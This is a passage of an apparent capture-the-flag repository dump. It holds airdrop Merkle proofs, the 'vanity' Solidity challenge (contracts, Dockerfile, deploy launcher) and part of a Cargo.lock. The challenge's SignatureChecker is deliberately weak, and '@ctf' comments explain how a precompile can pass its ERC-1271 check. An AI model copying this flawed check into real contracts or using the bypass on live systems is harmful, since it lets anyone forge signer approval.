"0xC7FA2a8D3b433C9BfCdd93941195e2C5495EaE51": { 558 | "index": 46, 559 | "amount": "0x566498ec48a13dd013", 560 | "proof": [ 561 | "0x4cb280a759741642be3f25ac989578797e1d1295d348755bc71d12890f4e1a06", 562 | "0x26171694d9e478c26b02ca6850ea3b0d94dba9ead9fc33ed3f0cb59482117454", 563 | "0x54dfc2bcb68496ea7b8f2e6abbbd3dc442151628379a64aa231ce6fb6aae02b6", 564 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 565 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 566 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 567 | ] 568 | }, 569 | "0xC7af0Df0B605e4072D85BECf5fb06acF40f88db9": { 570 | "index": 47, 571 | "amount": "0x2c15bae170d80220aa", 572 | "proof": [ 573 | "0xa18d9178bab44c66a0ec909913a9168fb57675f96be4dc78e5bd5c3d62bdf585", 574 | "0x0c15f6d9f61156109f0005f9b7f675b23e7aec4694ab76571f78c1e967dc99ef", 575 | "0x41e12276ae416e87527eef564a668374da0157d93387edd75796ffeab88bf849", 576 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 577 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 578 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 579 | ] 580 | }, 581 | "0xCd19f5E3e4eb7507bB3557173c5aE5021407Aa25": { 582 | "index": 48, 583 | "amount": "0x5f0652b88c2c085aea", 584 | "proof": [ 585 | "0x0f7a6dbdb4f6108c52ea0b0083cba2bc48eb7c0732b2909ba4e06f5c43d95d52", 586 | "0xb1408b0fc0b96c6469dd721ebd1c04ec436da2e819765a758fe2f17c9fbf6021", 587 | "0x292ea2e708cd883538e918fa5e092fe233fc7ef4be50902e9c63610af22ba9b8", 588 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 589 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 590 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 591 | ] 592 | }, 593 | "0xCdBf68C24f9dBA3735Fc79623BaAdbB0Ca152093": { 594 | "index": 49, 595 | "amount": "0x25b42c67c4ec6c225d", 596 | "proof": [ 597 | "0xd0387293a05c1b496ebb8671e1490cf3032c5d22617f616e99189f6dfc698507", 598 | "0x225de26d438b50d8afea1120376d92b188d770338d4629a6cfbd09c7af39d34c", 599 | "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde", 600 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 601 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 602 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 603 | ] 604 | }, 605 | "0xE3fB01b0A4e48CE757BfD801002caC627f6064c0": { 606 | "index": 50, 607 | "amount": "0x2c756cdfe2f4d763bc", 608 | "proof": [ 609 | "0x7ed7078322373dc76f5fd327fe18d63e1fd9811c162527711a2523a79595d383", 610 | "0x3c7a509d9a786d3476cf62d5076e246cdc15572aadfbfc49993290bea04dc33e", 611 | "0x6396734133b37a66dcaf6e892db605531ae16ff8945cbccc5590b3624bbda293", 612 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 613 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 614 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 615 | ] 616 | }, 617 | "0xE59820351B7F93ba9dFfA3483741b4266280fcA4": { 618 | "index": 51, 619 | "amount": "0x2c69e7f2c5c1fb4d09", 620 | "proof": [ 621 | "0xdae406929d3fb1a4f6b11c05a71ca6a8c86ad99c770abcbf5eb98a5fa0447734", 622 | "0x19e39d26bfd282e8e58964c4d9e4bc060308166347034e432d8a9fbefb2c6e68", 623 | "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2", 624 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 625 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 626 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 627 | ] 628 | }, 629 | "0xED43214BB831Bb1543566A52B230919D7C74ae7C": { 630 | "index": 52, 631 | "amount": "0x153309c1e553fcfa4a", 632 | "proof": [ 633 | "0x098a4ebeaea5dcab6543f613d606a459b71211773fdd3f71a91be667c78cb445", 634 | "0x1577bdc1958b6677f9e850bbb2b938daa51979ce9af4b0dbcc7f763c3aee1ee3", 635 | "0x292ea2e708cd883538e918fa5e092fe233fc7ef4be50902e9c63610af22ba9b8", 636 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 637 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 638 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 639 | ] 640 | }, 641 | "0xF5bfA5e1BdAF33df1D5b0e2674a241665c921444": { 642 | "index": 53, 643 | "amount": "0x322180f225fed4b65d", 644 | "proof": [ 645 | "0x25e8db86fed4ac88814814f013f23c2356f1e0960ecd26fddd1614de5fa066af", 646 | "0x4db4c30a97febfe168893f90f7ed6b5d2fd442c87de6db7367ca1f4f254d7560", 647 | "0x0cd186d2b1377ee96a87ef7a295dec75cc05b54a08fcaca61868911d6ac9bc27", 648 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 649 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 650 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 651 | ] 652 | }, 653 | "0xa09674De22A3dD515164FCB777dc223791fB91DE": { 654 | "index": 54, 655 | "amount": "0xac7b6f0812eb26f548", 656 | "proof": [ 657 | "0x9c3fd7a427a178d8c3b3884bb706cc850287c4288d2e065be739b0e908e93fef", 658 | "0xd29a8264fe1886a31674e30d34a918354022351498a0f42f68f12e0ca2fb3a09", 659 | "0x41e12276ae416e87527eef564a668374da0157d93387edd75796ffeab88bf849", 660 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 661 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 662 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 663 | ] 664 | }, 665 | "0xb71D03A0cD1c285c9C32B9992d7b94E37F5E5b5d": { 666 | "index": 55, 667 | "amount": "0x2c5e74f5070dac75d9", 668 | "proof": [ 669 | "0xdb13455978d0488dcb105492f8ea54142f9d500a89bf049bcf00b7fe4c5bdcca", 670 | "0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3", 671 | "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2", 672 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 673 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 674 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 675 | ] 676 | }, 677 | "0xb9e1bAD69aebc28E8ba5A20701A35185Ff23A4fA": { 678 | "index": 56, 679 | "amount": "0x217f2bf08b80310c45", 680 | "proof": [ 681 | "0xeab835a5226ecd7bb468ab6f2a12db05290e3bc52a5009f85df966d12909d159", 682 | "0xd5423e8e964fcfbe8025bf3f96273ba0c0039f284d40c720a8466bd39e5d3eb9", 683 | "0x2fa599012c0491428e6451d1cc1511f133f82c66ee98b9eefc1b4c263db48518", 684 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 685 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 686 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 687 | ] 688 | }, 689 | "0xbE7Df9554c5746fa31Bb2CD7B9CA9b89ac733d7C": { 690 | "index": 57, 691 | "amount": "0x14d55d92753f57b739", 692 | "proof": [ 693 | "0x72000c14174c21b921370d96ba77e711b2e28242f94c8468cf83c30e675da3fb", 694 | "0x43047705e643f244c1fa91232f837793bd978d50a148cccdcb5883cd20d21f07", 695 | "0x4651c9cafba7a07e593d2fddecb28bfd6af2c0731126931e60a621684363524a", 696 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 697 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 698 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 699 | ] 700 | }, 701 | "0xcee18609823ac7c71951fe05206C9924722372A6": { 702 | "index": 58, 703 | "amount": "0x3dfa72c4c7dd942165", 704 | "proof": [ 705 | "0xa9e8f0fbf0d2911d746500a7786606d3fc80abb68a05f77fb730ded04a951c2d", 706 | "0x0ae01ec0f7a50774e0c1ad35f0f5efcc14c376f675704a6212b483bfbf742a69", 707 | "0x3f267b524a6acda73b1d3e54777f40b188c66a14a090cd142a7ec48b13422298", 708 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 709 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 710 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 711 | ] 712 | }, 713 | "0xcf67D2C5D6387093E7DE9F0E28D91473E0088E6e": { 714 | "index": 59, 715 | "amount": "0x24b00cf419002103ad", 716 | "proof": [ 717 | "0x6bb0194ee897ebcf7a41ccebee579ab0fe0e191d9e5e9b5815ea2bf8de4c8495", 718 | "0x62663a6d05597df610cb657a9d6691fd7c5352e6ed2f76f0274c3bc96ec14aed", 719 | "0x9c655dc701fa000048be0b99912551f71b77031ce47437fa220120e8b56a877c", 720 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 721 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 722 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 723 | ] 724 | }, 725 | "0xe145dBbEFDD4EEf0ED39195f2Ec75FBB8e55609F": { 726 | "index": 60, 727 | "amount": "0x55123165db2ae9a1a2", 728 | "proof": [ 729 | "0xc54d1feb79a340c603744a595a63cc1e121980ff876c288eaeb67a7c58cb1d12", 730 | "0x83f60a763e672b25703da0229e530c207933554cc4c26dfe30d69b11a2f5e511", 731 | "0xf5f6b74e51a15573007b59fb217c22c55fd9748a1e70578c6ddaf550b7298882", 732 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 733 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 734 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 735 | ] 736 | }, 737 | "0xe333ed021E58eF3a3219D43d304fc331e5E287bb": { 738 | "index": 61, 739 | "amount": "0x2f36bb4329b1d502e3", 740 | "proof": [ 741 | "0x385fe12b0ed97da4970945f46d476ade4f8ec725b58b3440304714681d39cfe8", 742 | "0x25e8e051b1e50b71a99e6247bef8c6566c3ec41d3ba014d5963fc31b48169965", 743 | "0x54dfc2bcb68496ea7b8f2e6abbbd3dc442151628379a64aa231ce6fb6aae02b6", 744 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 745 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 746 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 747 | ] 748 | }, 749 | "0xe629559bF328BdA47c528849A31e841A0afFF1c7": { 750 | "index": 62, 751 | "amount": "0x248a1b23ff3e32491b", 752 | "proof": [ 753 | "0x99ac0dc09380e26dabe05f039a3d36fbc562b612f40ada5d1707be5246663800", 754 | "0x72828ce11efc964cf1f828f243091a1783032ec9dbe26d53d1ef15beb050508c", 755 | "0x449eac22434639a214604e71bc3c53ee18a2803f1cca16000e5d26fe3ee6ac11", 756 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 757 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 758 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 759 | ] 760 | }, 761 | "0xf7A69C5e5257dEB4e9F190014Fd458711eE4c8aa": { 762 | "index": 63, 763 | "amount": "0x68ccf73cd2b434f5bc", 764 | "proof": [ 765 | "0x2f8edd415bf009db0356d04585845763b314d74f9800b601e3d0923eab629a6f", 766 | "0xc8a963490279786bf4d9522dad319dd536d7de4764d2fc6564356ff73b49cf16", 767 | "0x955c47a5eea3ebf139056c0603d096a40a686b2304506f7509859fe9cc19bd79", 768 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 769 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 770 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 771 | ] 772 | } 773 | } 774 | } -------------------------------------------------------------------------------- /src/vanity/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/paradigmxyz/ctf/eth-base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | COPY contracts /tmp/contracts 6 | 7 | RUN true \ 8 | && cd /tmp \ 9 | && /root/.foundry/bin/forge build --out /home/ctf/compiled \ 10 | && rm -rf /tmp/contracts \ 11 | && true 12 | -------------------------------------------------------------------------------- /src/vanity/public/contracts/Challenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.7.6; 4 | 5 | import "./SignatureChecker.sol"; 6 | 7 | contract Challenge { 8 | bytes32 private immutable MAGIC = keccak256(abi.encodePacked("CHALLENGE_MAGIC")); 9 | 10 | uint public bestScore; 11 | 12 | function solve() external { 13 | solve(msg.sender); 14 | } 15 | 16 | // @ctf we must call solve with a precompiled 17 | function solve(address signer, bytes memory signature) external { 18 | require(SignatureChecker.isValidSignatureNow(signer, MAGIC, signature), "Challenge/invalidSignature"); 19 | 20 | solve(signer); 21 | } 22 | 23 | function solve(address who) private { 24 | uint score = 0; 25 | 26 | for (uint i = 0; i < 20; i++) if (bytes20(who)[i] == 0) score++; 27 | 28 | if (score > bestScore) bestScore = score; 29 | } 30 | } -------------------------------------------------------------------------------- /src/vanity/public/contracts/ECDSA.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.7.6; 4 | 5 | import "./IERC1271.sol"; 6 | 7 | /** 8 | * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. 9 | * 10 | * These functions can be used to verify that a message was signed by the holder 11 | * of the private keys of a given address. 12 | */ 13 | library ECDSA { 14 | enum RecoverError { 15 | NoError, 16 | InvalidSignature, 17 | InvalidSignatureLength, 18 | InvalidSignatureS, 19 | InvalidSignatureV 20 | } 21 | 22 | /** 23 | * @dev Returns the address that signed a hashed message (`hash`) with 24 | * `signature` or error string. This address can then be used for verification purposes. 25 | * 26 | * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: 27 | * this function rejects them by requiring the `s` value to be in the lower 28 | * half order, and the `v` value to be either 27 or 28. 29 | * 30 | * IMPORTANT: `hash` _must_ be the result of a hash operation for the 31 | * verification to be secure: it is possible to craft signatures that 32 | * recover to arbitrary addresses for non-hashed data. A safe way to ensure 33 | * this is by receiving a hash of the original message (which may otherwise 34 | * be too long), and then calling {toEthSignedMessageHash} on it. 35 | * 36 | * Documentation for signature generation: 37 | * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] 38 | * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] 39 | * 40 | * _Available since v4.3._ 41 | */ 42 | function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { 43 | // Check the signature length 44 | // - case 65: r,s,v signature (standard) 45 | // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ 46 | if (signature.length == 65) { 47 | bytes32 r; 48 | bytes32 s; 49 | uint8 v; 50 | // ecrecover takes the signature parameters, and the only way to get them 51 | // currently is to use assembly. 52 | /// @solidity memory-safe-assembly 53 | assembly { 54 | r := mload(add(signature, 0x20)) 55 | s := mload(add(signature, 0x40)) 56 | v := byte(0, mload(add(signature, 0x60))) 57 | } 58 | return tryRecover(hash, v, r, s); 59 | } else if (signature.length == 64) { 60 | bytes32 r; 61 | bytes32 vs; 62 | // ecrecover takes the signature parameters, and the only way to get them 63 | // currently is to use assembly. 64 | /// @solidity memory-safe-assembly 65 | assembly { 66 | r := mload(add(signature, 0x20)) 67 | vs := mload(add(signature, 0x40)) 68 | } 69 | return tryRecover(hash, r, vs); 70 | } else { 71 | return (address(0), RecoverError.InvalidSignatureLength); 72 | } 73 | } 74 | 75 | /** 76 | * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. 77 | * 78 | * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] 79 | * 80 | * _Available since v4.3._ 81 | */ 82 | function tryRecover( 83 | bytes32 hash, 84 | bytes32 r, 85 | bytes32 vs 86 | ) internal pure returns (address, RecoverError) { 87 | bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); 88 | uint8 v = uint8((uint256(vs) >> 255) + 27); 89 | return tryRecover(hash, v, r, s); 90 | } 91 | 92 | /** 93 | * @dev Overload of {ECDSA-tryRecover} that receives the `v`, 94 | * `r` and `s` signature fields separately. 95 | * 96 | * _Available since v4.3._ 97 | */ 98 | function tryRecover( 99 | bytes32 hash, 100 | uint8 v, 101 | bytes32 r, 102 | bytes32 s 103 | ) internal pure returns (address, RecoverError) { 104 | // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature 105 | // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines 106 | // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most 107 | // signatures from current libraries generate a unique signature with an s-value in the lower half order. 108 | // 109 | // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value 110 | // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or 111 | // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept 112 | // these malleable signatures as well. 113 | if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { 114 | return (address(0), RecoverError.InvalidSignatureS); 115 | } 116 | if (v != 27 && v != 28) { 117 | return (address(0), RecoverError.InvalidSignatureV); 118 | } 119 | 120 | // If the signature is valid (and not malleable), return the signer address 121 | address signer = ecrecover(hash, v, r, s); 122 | if (signer == address(0)) { 123 | return (address(0), RecoverError.InvalidSignature); 124 | } 125 | 126 | return (signer, RecoverError.NoError); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /src/vanity/public/contracts/IERC1271.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.7.6; 4 | 5 | /** 6 | * @dev Interface of the ERC1271 standard signature validation method for 7 | * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. 8 | * 9 | * _Available since v4.1._ 10 | */ 11 | interface IERC1271 { 12 | /** 13 | * @dev Should return whether the signature provided is valid for the provided data 14 | * @param hash Hash of the data to be signed 15 | * @param signature Signature byte array associated with _data 16 | */ 17 | function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); 18 | } 19 | -------------------------------------------------------------------------------- /src/vanity/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.7.6; 4 | 5 | import "./Challenge.sol"; 6 | 7 | contract Setup { 8 | Challenge public immutable challenge; 9 | 10 | constructor() { 11 | challenge = new Challenge(); 12 | } 13 | 14 | function isSolved() external view returns (bool) { 15 | return challenge.bestScore() >= 16; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/vanity/public/contracts/SignatureChecker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.7.6; 4 | 5 | import "./ECDSA.sol"; 6 | 7 | /** 8 | * @dev Signature verification helper that can be used instead of `ECDSA.recover` to seamlessly support both ECDSA 9 | * signatures from externally owned accounts (EOAs) as well as ERC1271 signatures from smart contract wallets like 10 | * Argent and Gnosis Safe. 11 | * 12 | * _Available since v4.1._ 13 | */ 14 | library SignatureChecker { 15 | /** 16 | * @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the 17 | * signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`. 18 | * 19 | * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus 20 | * change through time. It could return true at block N and false at block N+1 (or the opposite). 21 | */ 22 | function isValidSignatureNow( 23 | address signer, 24 | bytes32 hash, 25 | bytes memory signature 26 | ) internal view returns (bool) { 27 | (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature); 28 | if (error == ECDSA.RecoverError.NoError && recovered == signer) { 29 | return true; 30 | } 31 | 32 | (bool success, bytes memory result) = signer.staticcall( 33 | abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature) 34 | ); 35 | // @ctf only checks function selector and if the staticcall was a success 36 | // @ctf can use keccak precompiled 37 | return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); 38 | } 39 | } -------------------------------------------------------------------------------- /src/vanity/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | import eth_sandbox 5 | from web3 import Web3 6 | 7 | 8 | def deploy(web3: Web3, deployer_address: str, player_address: str) -> str: 9 | rcpt = eth_sandbox.sendTransaction(web3, { 10 | "from": deployer_address, 11 | "data": json.loads(Path("compiled/Setup.sol/Setup.json").read_text())["bytecode"]["object"], 12 | }) 13 | 14 | return rcpt.contractAddress 15 | 16 | eth_sandbox.run_launcher([ 17 | eth_sandbox.new_launch_instance_action(deploy), 18 | eth_sandbox.new_kill_instance_action(), 19 | eth_sandbox.new_get_flag_action() 20 | ]) 21 | -------------------------------------------------------------------------------- /src/vanity/rust/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "Inflector" 7 | version = "0.11.4" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fe438c63458706e03479442743baae6c88256498e6431708f6dfc520a26515d3" 10 | dependencies = [ 11 | "lazy_static", 12 | "regex", 13 | ] 14 | 15 | [[package]] 16 | name = "aes" 17 | version = "0.7.5" 18 | source = "registry+https://github.com/rust-lang/crates.io-index" 19 | checksum = "9e8b47f52ea9bae42228d07ec09eb676433d7c4ed1ebdf0f1d1c29ed446f1ab8" 20 | dependencies = [ 21 | "cfg-if", 22 | "cipher", 23 | "cpufeatures", 24 | "opaque-debug 0.3.0", 25 | ] 26 | 27 | [[package]] 28 | name = "aho-corasick" 29 | version = "0.7.18" 30 | source = "registry+https://github.com/rust-lang/crates.io-index" 31 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 32 | dependencies = [ 33 | "memchr", 34 | ] 35 | 36 | [[package]] 37 | name = "arrayvec" 38 | version = "0.7.2" 39 | source = "registry+https://github.com/rust-lang/crates.io-index" 40 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 41 | 42 | [[package]] 43 | name = "async-trait" 44 | version = "0.1.57" 45 | source = "registry+https://github.com/rust-lang/crates.io-index" 46 | checksum = "76464446b8bc32758d7e88ee1a804d9914cd9b1cb264c029899680b0be29826f" 47 | dependencies = [ 48 | "proc-macro2", 49 | "quote", 50 | "syn", 51 | ] 52 | 53 | [[package]] 54 | name = "async_io_stream" 55 | version = "0.3.3" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | checksum = "b6d7b9decdf35d8908a7e3ef02f64c5e9b1695e230154c0e8de3969142d9b94c" 58 | dependencies = [ 59 | "futures", 60 | "pharos", 61 | "rustc_version", 62 | ] 63 | 64 | [[package]] 65 | name = "auto_impl" 66 | version = "1.0.1" 67 | source = "registry+https://github.com/rust-lang/crates.io-index" 68 | checksum = "8a8c1df849285fbacd587de7818cc7d13be6cd2cbcd47a04fb1801b0e2706e33" 69 | dependencies = [ 70 | "proc-macro-error", 71 | "proc-macro2", 72 | "quote", 73 | "syn", 74 | ] 75 | 76 | [[package]] 77 | name = "autocfg" 78 | version = "1.1.0" 79 | source = "registry+https://github.com/rust-lang/crates.io-index" 80 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 81 | 82 | [[package]] 83 | name = "base16ct" 84 | version = "0.1.1" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "349a06037c7bf932dd7e7d1f653678b2038b9ad46a74102f1fc7bd7872678cce" 87 | 88 | [[package]] 89 | name = "base58" 90 | version = "0.1.0" 91 | source = "registry+https://github.com/rust-lang/crates.io-index" 92 | checksum = "5024ee8015f02155eee35c711107ddd9a9bf3cb689cf2a9089c97e79b6e1ae83" 93 | 94 | [[package]] 95 | name = "base58check" 96 | version = "0.1.0" 97 | source = "registry+https://github.com/rust-lang/crates.io-index" 98 | checksum = "2ee2fe4c9a0c84515f136aaae2466744a721af6d63339c18689d9e995d74d99b" 99 | dependencies = [ 100 | "base58", 101 | "sha2 0.8.2", 102 | ] 103 | 104 | [[package]] 105 | name = "base64" 106 | version = "0.12.3" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 109 | 110 | [[package]] 111 | name = "base64" 112 | version = "0.13.0" 113 | source = "registry+https://github.com/rust-lang/crates.io-index" 114 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 115 | 116 | [[package]] 117 | name = "base64ct" 118 | version = "1.0.1" 119 | source = "registry+https://github.com/rust-lang/crates.io-index" 120 | checksum = "8a32fd6af2b5827bce66c29053ba0e7c42b9dcab01835835058558c10851a46b" 121 | 122 | [[package]] 123 | name = "bech32" 124 | version = "0.7.3" 125 | source = "registry+https://github.com/rust-lang/crates.io-index" 126 | checksum = "2dabbe35f96fb9507f7330793dc490461b2962659ac5d427181e451a623751d1" 127 | 128 | [[package]] 129 | name = "bincode" 130 | version = "1.3.3" 131 | source = "registry+https://github.com/rust-lang/crates.io-index" 132 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 133 | dependencies = [ 134 | "serde", 135 | ] 136 | 137 | [[package]] 138 | name = "bitflags" 139 | version = "1.3.2" 140 | source = "registry+https://github.com/rust-lang/crates.io-index" 141 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 142 | 143 | [[package]] 144 | name = "bitvec" 145 | version = "0.17.4" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "41262f11d771fd4a61aa3ce019fca363b4b6c282fca9da2a31186d3965a47a5c" 148 | dependencies = [ 149 | "either", 150 | "radium 0.3.0", 151 | ] 152 | 153 | [[package]] 154 | name = "bitvec" 155 | version = "1.0.1" 156 | source = "registry+https://github.com/rust-lang/crates.io-index" 157 | checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" 158 | dependencies = [ 159 | "funty", 160 | "radium 0.7.0", 161 | "tap", 162 | "wyz", 163 | ] 164 | 165 | [[package]] 166 | name = "blake2" 167 | version = "0.10.4" 168 | source = "registry+https://github.com/rust-lang/crates.io-index" 169 | checksum = "b9cf849ee05b2ee5fba5e36f97ff8ec2533916700fc0758d40d92136a42f3388" 170 | dependencies = [ 171 | "digest 0.10.3", 172 | ] 173 | 174 | [[package]] 175 | name = "block-buffer" 176 | version = "0.7.3" 177 | source = "registry+https://github.com/rust-lang/crates.io-index" 178 | checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b" 179 | dependencies = [ 180 | "block-padding", 181 | "byte-tools", 182 | "byteorder", 183 | "generic-array 0.12.4", 184 | ] 185 | 186 | [[package]] 187 | name = "block-buffer" 188 | version = "0.10.2" 189 | source = "registry+https://github.com/rust-lang/crates.io-index" 190 | checksum = 